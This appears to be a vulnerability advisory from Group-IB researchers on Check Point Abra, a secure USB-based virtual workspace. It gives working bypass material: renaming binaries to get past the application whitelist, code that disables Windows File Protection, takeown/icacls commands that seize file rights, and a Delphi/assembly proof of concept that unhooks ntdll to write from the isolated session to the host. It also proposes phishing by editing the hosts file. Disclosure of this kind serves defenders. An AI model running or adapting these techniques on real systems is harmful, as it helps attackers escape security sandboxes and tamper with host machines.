Check Point Abra Bypass / Command Execution

`Check Point Abra Vulnerabilities  
  
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Vendor: Check Point Software Technologies Ltd  
Product web page: http://rus.checkpoint.com/products/abra/index.html; http://www.checkpoint.com/products/go/  
Platforms: Windows XP, Vista, 7 (32 bit)  
Authors: Belov V., Komarov A. (Group-IB)  
  
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Summary: Check Point Abra allows you to create a secure virtual workspace on any PC, this solution may significantly affect the way of organizing the work of mobile employees. With Abra solutions you can easily turn any PC into a fully secure workplace, so you no longer need to carry bulky laptops or heavy folders. Convenient USB-drive form factor body allows you to quickly create a virtual workplace, while the virtualization technology and built-in encryption ensures the mobile data safety. Abra provides users with protection when working in offline mode by an encrypted USB-drive, and online - through VPN client software.  
  
Description: Imperfect control modules and data monitoring application allows you to run any file, bypassing the current policy around virtualization, and read\write data from an isolated Abra session directly into the PC operating system, conduct phishing attacks, etc.  
  
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Run third-party software in a secure session:  
  
Control rules used applications are in the file   
X:\PWC\data\sandbox-persistence.ref (и X:\PWC\data\ swspogo.xml, F:\PWC\data\ ISWPolicy.xml, X:\PWC\data\ ics_policy.xml). Any application not from the white list will not be able to perform when working in a secure session.  
  
As part of the session is allowed to run the pre-installed software: Internet Explorer, Notepad, Calculator, Office, Remote Desktop Connection (+ Portable Apps) to use system utilities, and host machines that are clearly indicated in the configuration file F:\PWC\data\sandbox-persistence.ref.  
  
Example:  
  
<Execute OriginalName="calc.exe" PathName="\calc.exe" AppName="Microsoft Calculator" UIDescription="Microsoft Calculator" id="134"/>  
Application Control session examines the application run only on paths, file names, as well as record VersionInfo in the file.   
  
This implies you can import an arbitrary application and run it to bypass the control policy of applications. This is implemented by changing the file name and the field in the resource OriginalFilename VERSIONINFO on any of the white list. Moreover, the user may replace any executable file (eg archiver WinRar) to the host OS without any imports into the secure session and the file will automatically be filled in a secure session (run by the correspondences of extensions, or from the "start" menu).  
  
It is also possible to substitute the system default software from the session "Start" menu (Internet Explorer, Notepad, Calculator, File Protection is off to the host OS, you need administrator rights). The substitution of system files can be implemented after disabling File Protection Windows File Protection with a call to the fifth ordinal of exported file system sfc_os.dll functions (windows xp), sample code:  
  
hInst := LoadLibrary('sfc_os.dll');  
proc := GetProcAddress(hInst, ordinal 5);  
filename := 'c:\windows\system32\calc.exe';  
asm  
push -1  
push filename  
push 0  
call proc  
end  
  
Either by modifying the rights to the file (Vista and above):  
takeown /f <имя_файла>  
icacls <имя_файла> /grant %username%:F  
icacls <имя_файла> /grant *S-1-1-0:(F)  
  
It is also well executed Bat-files downloaded from the host computer’s folder called "Downloaded from PC", or any other.  
  
The structure of the boot process and secure session:  
  
During the secure session creates a separate process group. Executable files and libraries are the product of two assemblies 32 and 64-bit. But despite this, the 64-bit systems still run a few 32-bit modules in the X folder: \ Go \ PWC \ WoW64.   
  
The second copy process launches the ISWMGR.exe Explorer explorer.exe processes, which is the parent of all, offered in a secure session of external tools and imported programs.  
  
When starting the imported files in a secure session they run a separate application-boot X: \ PWC \ WOW64 \ ISWLDR.dat. He, in turn, loads the library ISWUL.dll, causing the function to set InitHook interceptions. Installed hooks calling functions for working with files, the registry, the clipboard, cryptography, etc:  
  
HANDLE (__stdcall *__cdecl GetAddrOf_SetClipboardData())(UINT, HANDLE)  
{  
HANDLE (__stdcall *result)(UINT, HANDLE); // eax@1  
  
result = SetClipboardData;  
addr_SetClipboardData = SetClipboardData;  
return result;  
}  
  
int __cdecl hooks_Clipboard()  
{  
int v0; // eax@1  
int v1; // eax@3  
int v2; // eax@5  
int v3; // eax@7  
int result; // eax@9  
  
v0 = splice_func(addr_SetClipboardData, callback_SetClipboardData);  
if ( v0 )  
addr_SetClipboardData = v0;  
v1 = splice_func(addr_GetClipboardData, callback_GetClipboardData);  
if ( v1 )  
addr_GetClipboardData = v1;  
v2 = splice_func(addr_OpenClipboard, callback_OpenClipboard);  
if ( v2 )  
addr_OpenClipboard = v2;  
v3 = splice_func(addr_EmptyClipboard, callback_EmptyClipboard);  
if ( v3 )  
addr_EmptyClipboard = v3;  
result = splice_func(addr_CloseClipboard, callback_CloseClipboard);  
if ( result )  
addr_CloseClipboard = result;  
return result;  
}  
  
It is possible to bypass interceptor functions by their release (recovery of the original code functions as it was before the modification) - direct reading from a file system folder (for the use of technology before the reading system files must be copied to a temporary folder and install a structured exception handler), such as ntdll.dll, read the first 10-15 bytes of the function from the file and overwrite the buffer was read the prologue of the corresponding function in the memory (which is the function of the jump-hook, for example ZwLoadDriver).   
  
Technique, for example, can allow making changes to files \ Registry of the secure session directly to the host system.  
  
procedure resolve_APIs_from_dll_images(mapped_dll_base: pointer; dllname: string);  
var  
var_4, var_8, var_10, var_20, var_24, var_2C, var_28, var_3C, var_1C, dllbase, Src, old: DWORD;  
begin  
asm  
pushad  
mov eax, [mapped_dll_base]  
mov ecx, [eax+3Ch]  
mov edx, [mapped_dll_base]  
lea eax, [edx+ecx+18h]  
mov [var_10], eax  
mov ecx, [var_10]  
mov edx, [mapped_dll_base]  
add edx, [ecx+60h]  
mov [var_4], edx  
mov eax, [var_4]  
mov ecx, [mapped_dll_base]  
add ecx, [eax+1Ch]  
mov [var_8], ecx  
mov ecx, [var_4]  
mov edx, [mapped_dll_base]  
add edx, [ecx+20h]  
mov [var_20], edx  
mov eax, [var_4]  
mov ecx, [mapped_dll_base]  
add ecx, [eax+24h]  
mov [var_2C], ec  
push dllname  
call LoadLibrary  
mov [var_28], eax  
cmp [var_28], 0  
jne @loc_41D111  
jmp @ending  
@loc_41D111:  
mov [var_24], 0  
jmp @loc_41D135  
@loc_41D11A:  
mov eax, [var_24]  
add eax, 1  
mov [var_24], eax  
mov ecx, [var_20]  
add ecx, 4  
mov [var_20], ecx  
mov edx, [var_2C]  
add edx, 2  
mov [var_2C], edx  
@loc_41D135:  
mov eax, [var_4]  
mov ecx, [var_24]  
cmp ecx, [eax+18h]  
jnb @ending  
mov ecx, [var_24]  
mov edx, [var_20]  
mov eax, [mapped_dll_base]  
add eax, [edx]  
mov ecx, [var_24]  
mov edx, [var_8]  
mov eax, [var_28]  
add eax, [edx+ecx*4]  
mov [var_3C], eax  
mov ecx, [var_24]  
mov edx, [var_8]  
mov eax, [mapped_dll_base]  
add eax, [edx+ecx*4]  
mov [Src], eax  
push 0Ah  
mov ecx, [Src]  
push ecx  
lea edx, [Dst]  
push edx  
call memcpy  
add esp, 0Ch  
lea eax, [old]  
push eax  
push PAGE_EXECUTE_READWRITE  
push 0Ah  
mov eax, [var_3C]  
push eax  
call VirtualProtect  
push 0Ah  
lea ecx, [Dst]  
push ecx  
mov eax, [var_3C]  
push eax  
call memcpy  
add esp, 0Ch  
jmp @loc_41D11A  
@ending:  
popad  
end;  
end;  
  
function UnHook(dllname: string): boolean;  
var  
MapOffset: pointer;  
dll, filename: string;  
MapHandle, FileHandle: THandle;  
Begin  
dll := SystemDir + '\' + dllname;  
filename := GetSpecialPath(CSIDL_APPDATA) + '\' + dllname;  
result := CopyFile(PChar(dll), PChar(filename), false);  
if result then  
begin  
FileHandle := CreateFile(pChar(filename), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);  
If FileHandle <> INVALID_HANDLE_VALUE then  
Try  
MapHandle := CreateFileMapping(FileHandle, nil, $1000002, 0, 0, nil);  
If MapHandle <> 0 then  
Try  
MapOffset := MapViewOfFile(MapHandle, FILE_MAP_READ, 0, 0, 0);  
If MapOffset <> nil then  
Try  
resolve_APIs_from_dll_images(MapOffset, dllname);  
Finally  
UnmapViewOfFile(MapOffset);  
End;  
Finally  
CloseHandle(MapHandle);  
End;  
Finally  
CloseHandle(FileHandle);  
End;  
DeleteFile(filename);  
end;  
End;  
  
procedure Write2File(filename, s: string);  
var  
f: textfile;  
begin  
assignfile(f, filename);  
rewrite(f);  
writeln(f, s);  
closefile(f);  
end;  
  
begin  
UnHook('ntdll.dll');  
..  
Write2File('c:\users\Administrator\Desktop\POC.txt', 'Now we writing to host OS');  
end;  
  
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Possible implementation of a phishing attack by modifying the file etc \ hosts host system, all changes in it are also automatically applied for the secure session.   
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